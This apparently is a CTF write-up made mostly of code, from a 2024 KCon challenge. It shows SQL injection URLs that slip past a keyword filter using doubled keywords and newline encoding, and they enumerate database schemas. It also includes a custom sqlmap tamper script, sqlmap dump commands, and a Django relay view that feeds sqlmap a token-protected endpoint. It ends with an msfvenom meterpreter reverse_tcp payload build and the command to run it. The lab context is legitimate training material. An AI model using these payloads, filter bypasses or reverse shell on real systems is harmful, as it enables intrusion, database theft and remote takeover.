1http://45.180.243.36/?id=%221%22or%22=`uniunionon`%22

1http://45.180.243.36/?id=%221%22or%22=%27uniunionon%0Aseseselectlectlect%0A1%27%22

 145.180.243.220/?id=1or''=''
 245.180.243.220/?id="1"or''='uniunionon /**/'
 3
 4http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0A%27
 5
 6http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0Aseseselectlectlect%27
 7
 8http://45.180.243.220/?id=1%0Auniunionon%0Aseseselectlectlect%0A1,2,3
 9
10http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,3
11
1245.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,scheman_name%0Afrom%0Ainformation_schema.schemata%0Alimit%0A1,1
13
14http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=”db_6XFkMpnM”
15
16http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema%0A=%0A%22db_6XFkMpnM%22

 1#!/usr/bin/env python
 2
 3"""
 4Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 5See the file 'LICENSE' for copying permission
 6"""
 7
 8from lib.core.compat import xrange
 9from lib.core.enums import PRIORITY
10
11__priority__ = PRIORITY.LOW
12
13def dependencies():
14    pass
15
16def tamper(payload, **kwargs):
17    """
18    Replaces space character (' ') with plus ('+')
19
20    Notes:
21        * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
22        * This tamper script works against all databases
23
24    >>> tamper('SELECT id FROM users')
25    'SELECT+id+FROM+users'
26    """
27    payload = payload.replace("SELECT","select")
28    payload = payload.replace("UNION","union")
29    payload = payload.replace("union","ununionion")
30    payload = payload.replace("select","selselselectectect")
31    payload = payload.replace(" ","%0A") #对应之前的绕过检查
32    return payload

1sqlmap -u "http://45.180.243.31/sql.php?id=1" --tamper=2024kcom.py --dbs -D db_YOARED3v -T db_flag --dump

1django-admin.exe startproject testsql

 1from django.http import HttpResponse
 2import requests
 3def testsql(request):
 4    with requests.Session() as session:
 5        req = session.get("http://45.180.243.152/sql1.php")
 6        req_list =  req.text.split("<strong>")
 7        req_list = req_list[1].split("</strong>")
 8        print(req.text)
 9        randome_value =  req_list[0].strip()
10        data ={
11            "id":request.GET["id"],
12            "random_value":randome_value
13        }
14        print(data)
15        req = session.post("http://45.180.243.152/sql1.php",data = data)
16        print(request.GET['id'])
17    return HttpResponse(req)

1from django.contrib import admin
2from django.urls import path
3from . import view
4
5urlpatterns = [
6    path('admin/', admin.site.urls),
7    path('testsql/',view.testsql),
8    path("testsql2/",view.testsql2),
9]

1python manage.py runserver
2python sqlmap.py -u "http://127.0.0.1:8000/testsql/?id=1" --dbs
3python sqlmap.py -u "http://127.0.0.1:8000/testsql/?id=1" -D db_5l6KrvIg -T db_flag -C flag --dump

1python.exe .\sqlmap.py -r D:\JingJing\Documents\CTF文件\CTF刷题\2024Kcon\norespon.txt -D db_t4P1AxlC -T
2 db_flag -C flag --dump

1def testsql2(request):
2    data = {
3            "random_value" :  request.GET['id'],
4            }
5    req = requests.post("http://45.180.243.152/sql3.php",data=data)
6    req = requests.get("http://45.180.243.152/sql3.php?id=run")
7    return HttpResponse(req)

1path("testsql2/",view.testsql2),

1python sqlmap.py -u "http://127.0.0.1:8000/testsql2/?id=select+1"
2python sqlmap.py -u "http://127.0.0.1:8000/testsql2/?id=select+1" -D db_fcfUEiY7 -T db_flag -C flag --dump

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=2.2.1.4 LPORT=5252 -f exe -o test.exe

1echo "test" >> test.txt
2cd C:\Users\Administrator\Desktop\
3test.exe